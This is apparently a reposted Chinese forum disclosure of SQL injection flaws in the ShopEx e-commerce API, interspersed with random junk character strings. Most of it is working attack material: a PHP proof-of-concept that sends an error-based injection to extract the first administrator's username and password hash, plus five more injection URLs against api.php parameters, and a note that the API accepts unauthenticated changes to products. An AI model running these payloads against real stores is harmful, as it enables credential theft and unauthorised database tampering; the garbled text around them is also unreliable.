|
|
缺陷文件:\core\api\payment\2.0\api_b2b_2_0_payment_cfg.php' Q; i6 c# z: Y. y! a7 U
core\api\payment\1.0\api_b2b_2_0_payment_cfg.php
5 d! u1 b' F( v$ t8 j
- h ^8 H* L2 a7 V9 b第44行 $data['columns'] 未做过滤导致注入
3 N I4 Q" G V( H3 ^1 e3 O" z( R" `% U+ g( n- m2 {
<?php set_time_limit(0); ob_flush(); echo 'Test: http://localhost:808'."\r\n"; $sql = 'columns=* from sdb_payment_cfg WHERE 1 and (select 1 from(select count(*),concat((select (select (SELECT concat(username,0x7c,userpass) FROM sdb_operators limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#&disabled=1'; $url='http://localhost:808/api.php?act=search_payment_cfg_list&api_version=2.0'; $ch = curl_init(); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_POSTFIELDS, $sql); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); flush(); $data = curl_exec($ch); echo $data; curl_close($ch); ?>外带一句 ShopEx对API操作的模块未做认证,任何用户都可访问,攻击者可通过它来对产品的分类,类型,规格,品牌等,进行添加,删除和修改,过滤不当还可造成注入.
4 U& o. g7 e7 W3 E4 T" L$ [/ p4 ^
3 Z0 i5 _+ d. y* R注射1:2 N& ]+ n+ w+ k( D
7 ~3 k& N0 n, e/ a! Fhttp://www.0day5.com/api.php POST act=search_sub_regions&api_version=1.0&return_data=string&p_region_id=22 and (select 1 from(select count(*),concat(0x7c,(select (Select version()) from information_schema.tables limit 0,1),0x7c,floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)#, h+ U# z! b1 C4 A
; W2 g0 E6 i: [& W3 i7 S6 D
注射2:: ^2 T7 q/ z: L0 l+ @/ Y* `9 D
http://www.0day5.com/shopex/api.php act=add_category&api_version=3.1&datas={"name":"name' and 1=x %23"}
9 Q- |" u% |) A- h$ S5 l. T: j6 O! a1 o& r y+ U8 j+ Y- [! c2 H8 m" ^
注射3:8 ?" G9 v6 H, H+ [+ \+ q9 ~
http://www.0day5.com/shopex/api.php act=get_spec_single&api_version=3.1&spec_id=1 xxx8 ~- K$ @6 u' L `. Z
注射4:
9 t9 P, Z, `9 k3 B$ }; x+ `: ^2 H- s6 j- }$ @
http://www.0day5.com/shopex/api.php act=online_pay_center&api_version=1.0&order_id=1x&pay_id=1¤cy=1$ ]3 _2 }! M6 B3 v1 P( z7 K5 e
5 Y. \/ t/ I& R3 H; w
* J& [1 _; W4 U6 Z2 z注射5:3 q( A& f. a& K: f
http://www.0day5.com/shopex/api.php act=search_dly_h_area&return_data=string&columns=xxxxx
8 D- c, ^7 X3 B# Z% S7 ]" y& [+ l6 K6 D: N: C
8 y! T* ]5 Y8 d3 w$ y
4 x1 w* h! b" _3 S' F' U1 O7 [1 f( I$ O3 ~- [
$ a# \0 ?) K' f7 O- A E0 l
; v, Q1 b, V6 W4 V% z3 T, d# b
|
|